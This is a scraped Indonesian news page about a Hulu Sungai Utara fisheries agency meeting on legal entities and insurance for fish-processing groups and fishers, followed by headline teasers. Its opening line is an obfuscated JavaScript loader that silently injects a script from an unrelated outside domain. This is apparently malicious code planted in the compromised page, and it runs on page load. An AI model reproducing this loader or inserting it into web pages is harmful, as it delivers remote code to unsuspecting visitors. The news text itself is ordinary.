(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Dinas Perikanan Kabupaten Hulu Sungai Utara (HSU) menggelar Temu Usaha Mikro Kecil dan Menengah (UMKM) sekaligus sosialisasi bidang perikanan.  Sosialisasi tersebut menghadirkan sejumlah kelompok usaha pengolahan ikan, pembudidaya dan nelayan ikan sungai dan rawa, di Desa Tangkalan Sari, Kecamatan Sungai Pandan Alabio, Selasa (5/12).
Acara digelar untuk memberikan bantuan perlindungan hukum. Yakni berupa sosialisasi Badan Hukum dan Asuransi bagi para kelompok usaha pengolahan ikan, pembudidaya dan nelayan ikan tangkap. Kegiatan ini menghadirkan narasumber dari Koperasi, Notaris, Asuransi, dan petugas lapangan Dinas Perikanan Kabupaten HSU.
Kepala Dinas Perikanan HSU, HM Suriani mengatakan, pemkab melalui pengembangan selama ini berupaya membantu kelompok usaha pengolahan ikan dan tangkap ikan dengan memberikan bantuaan perlindungan hukum secara administrasi melalui notaris dan asuransi. Tujuannya agar pengelolaan hasil dan asuransi nelayan yang diprogramkan oleh pemerintah dapat di manfaatkan dengan baik.
Dikatakannya, melalui program ini sebelumnya ada tiga nelayan ikan yang sudah mendapatkan asuransi, sehingga program ini akan terus dilanjutkan.
“Syukur melalui program perintah ini sebelumnya, ada tiga nelayan ikan yang mendapatkan Rp 160 juta dari asuransi, dan preminya dibayar langsung oleh pemerintah pusat,” kata Suriani.
Selama ini pemerintah seperti memberikan bantuan seperti dana DAK dan lainnya baik dari pemerintah pusat, provinsi maupun kabupaten melalui kementerian perikanan dan kelautan berupa hibah harus melalui badan hukum. Dari keharusan itulah maka dilakukanlah kegiatan ini.
Program ini diharapkan dapat memberikan manfaat bagi para kelompok usaha pengolahan ikan dan nelayan. “Disamping memberikan pemahaman tentang program tersebut acara ini juga sebagai wadah silaturahmi antar kelompok usaha pengolahan ikan, maupun para tenaga penyuluh lapangan,” lanjutnya.
Suriani juga menuturkan, selama ini di HSU ada sekitar 400 lebih Kelompok Usaha Bersama (UKB) atau kelompok pengolahan ikan yang sudah ikut program ini. (dew)
KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
This website uses cookies.